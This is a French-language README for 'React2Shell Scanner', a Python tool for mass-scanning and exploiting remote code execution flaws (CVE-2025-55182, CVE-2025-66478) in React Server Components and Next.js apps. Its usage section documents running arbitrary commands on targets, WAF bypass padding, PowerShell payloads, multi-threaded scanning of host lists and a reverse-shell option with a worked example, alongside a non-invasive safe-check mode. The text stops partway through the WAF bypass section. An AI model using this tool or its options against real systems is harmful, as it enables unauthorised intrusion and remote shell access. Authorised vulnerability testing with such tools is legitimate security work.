React2Shell Scanner

High Fidelity Detection for RSC/Next.js RCE

Scanner pour la détection de vulnérabilités d'exécution de code à distance (RCE) dans les applications React Server Components et Next.js.

À propos

Le React2Shell Scanner est un outil spécialisé pour identifier les vulnérabilités d'exécution de code à distance (RCE) dans les applications utilisant React Server Components (RSC) et Next.js. L'outil détecte les vulnérabilités liées aux CVEs suivants :

• CVE-2025-55182
• CVE-2025-66478

L'outil effectue des vérifications haute fidélité en utilisant la détection par canal auxiliaire et une preuve de concept de RCE, avec la capacité d'extraire les résultats dynamiques des commandes exécutées via l'analyse automatique des réponses HTTP.

Ceci est une version éditée par @imguimoraes du scanner original développé par l'Assetnote Security Research Team. Le PoC RCE original a été créé par @maple3142.

Caractéristiques

• Détection haute fidélité utilisant le canal auxiliaire et PoC RCE
• Exécution multi-thread pour un scan en masse
• Extraction dynamique des résultats des commandes exécutées (analyse automatique des en-têtes et du corps de la réponse)
• Contournement WAF avec des données aléatoires configurables
• Prise en charge de Windows (PowerShell) et Linux/Unix (shell)
• Sortie en JSON structuré pour analyse ultérieure
• Suivi automatique des redirections
• Interface avec barre de progression et sortie colorée

Installation

Prérequis

• Python 3.8 ou supérieur
• pip (gestionnaire de paquets Python)

Installation des dépendances

pip install requests tqdm

Ou en utilisant le fichier requirements.txt :

pip install -r requirements.txt

Utilisation

Syntaxe de base

python scanner.py [-u URL | -l FILE] [options]

Vérifier une seule URL

python scanner.py -u https://example.com

Vérifier plusieurs URLs

python scanner.py -l hosts.txt

Options de ligne de commande

Options d'entrée (une obligatoire)

Option	Description
-u, --url URL	URL ou hôte unique à vérifier
-l, --list FILE	Fichier contenant une liste d'hôtes (un par ligne)

Options d'exécution

Option	Description
-t, --threads N	Nombre de threads concurrents (défaut : 10)
--timeout SECONDES	Timeout des requêtes en secondes (défaut : 10)
-k, --insecure	Désactiver la vérification du certificat SSL (activé par défaut)

Options de sortie

Option	Description
-o, --output FICHIER	Fichier de sortie pour les résultats au format JSON
--all-results	Enregistrer tous les résultats dans le fichier, pas seulement les vulnérables
-v, --verbose	Sortie verbeuse (affiche des extraits de réponse pour analyse)
-q, --quiet	Mode silencieux (affiche uniquement les hôtes vulnérables)
--no-color	Désactiver la sortie colorée

Options d'en-têtes

Option	Description
-H, --header "Key: Value"	Ajouter un en-tête HTTP personnalisé (peut être utilisé plusieurs fois)

Options d'exploit

Option	Description
--safe-check	Utiliser la détection par canal auxiliaire sécurisée au lieu du PoC RCE (n'exécute pas de code)
--windows	Utiliser la charge utile PowerShell au lieu du shell Unix (pour environnements Windows)
--waf-bypass	Ajouter des données aléatoires à la charge utile pour contourner le WAF (défaut : 128 Ko)
--waf-bypass-size KO	Taille des données aléatoires en Ko pour le contournement WAF (défaut : 128)
--payload COMMANDE	Commande personnalisée à exécuter dans le RCE (défaut : echo $((41*271)))
--reverse-shell IP:PORT	Créer une connexion reverse shell vers IP:PORT spécifié

Exemples d'utilisation

Exemple 1 : Scan basique d'un hôte

python scanner.py -u https://target.com

Exemple 2 : Scan en masse avec plusieurs threads

python scanner.py -l targets.txt -t 50 --timeout 15

Exemple 3 : Scan avec sortie JSON

python scanner.py -l targets.txt -o results.json --all-results

Exemple 4 : Scan avec en-têtes personnalisés

python scanner.py -u https://target.com -H "Authorization: Bearer token" -H "User-Agent: CustomAgent"

Exemple 5 : Scan avec charge utile personnalisée

python scanner.py -u https://target.com --payload "whoami"

Exemple 6 : Scan avec contournement WAF

python scanner.py -l targets.txt --waf-bypass --waf-bypass-size 256

Exemple 7 : Scan dans un environnement Windows

python scanner.py -u https://target.com --windows --payload "whoami"

Exemple 8 : Scan avec safe check (non invasif)

python scanner.py -l targets.txt --safe-check

Exemple 9 : Scan verbeux complet

python scanner.py -l targets.txt -v --all-results -o full_scan.json

Exemple 10 : Établir un reverse shell

python scanner.py -u https://target.com --reverse-shell 192.168.1.100:4444

Format de sortie

Sortie dans le terminal

Le scanner affiche les résultats avec des codes de couleur indiquant le statut :

• [VULNÉRABLE] - Hôte vulnérable (rouge)
• [NON VULNÉRABLE] - Hôte non vulnérable (vert)
• [ERREUR] - Erreur lors de la vérification (jaune)

Pour les hôtes vulnérables, le résultat de la commande exécutée est affiché lorsqu'il est disponible via l'extraction automatique de l'en-tête X-Action-Redirect ou du corps de la réponse.

Format JSON

Lorsque l'option -o est utilisée, la sortie est enregistrée au format JSON avec la structure suivante :

{
  "scan_time": "2025-01-XXT00:00:00.000000Z",
  "total_results": 10,
  "results": [
    {
      "host": "https://target.com",
      "vulnerable": true,
      "status_code": 307,
      "final_url": "https://target.com/",
      "command_result": "11111",
      "timestamp": "2025-01-XXT00:00:00.000000Z",
      "request": "POST / HTTP/1.1\r\n...",
      "response": "HTTP/1.1 307 Temporary Redirect\r\n...",
      "error": null
    }
  ]
}

Champs du résultat :

• vulnerable : true si vulnérable, false si non vulnérable, null si une erreur s'est produite
• command_result : Résultat de la commande exécutée extrait de la réponse (lorsqu'il est disponible)
• final_url : URL finale testée (après suivi des redirections si activé)
• status_code : Code HTTP de la réponse
• request : Requête HTTP complète envoyée
• response : Réponse HTTP reçue (premiers 2000 caractères)
• error : Message d'erreur s'il y en a
• timestamp : Horodatage UTC de la vérification

Fonctionnalités techniques

Méthodes de détection

Le scanner offre deux méthodes de détection :

1. Safe Check (--safe-check) : Détection par canal auxiliaire non invasive qui vérifie les schémas d'erreur dans la réponse sans exécuter de code. Utile pour un scan initial sans impact.
2. PoC RCE : Exécution réelle de code à distance avec extraction dynamique des résultats. Utilise des charges utiles basées sur Node.js child_process pour l'exécution de commandes système.

Extraction des résultats

Le scanner effectue une analyse automatique des réponses HTTP pour extraire les résultats des commandes exécutées :

• Extraction de l'en-tête X-Action-Redirect (format : NEXT_REDIRECT;push;/login?a=<result>;307;)
• Extraction du corps de la réponse (format : E{"digest":"<result>"} ou 1:E{"digest":"<result>"})
• Fonctionne avec n'importe quelle commande/charge utile personnalisée via le paramètre --payload

L'extraction est effectuée dynamiquement, sans dépendre de valeurs fixes, permettant de valider l'exécution de n'importe quelle commande.

Contournement WAF

Lorsque l'option --waf-bypass est utilisée :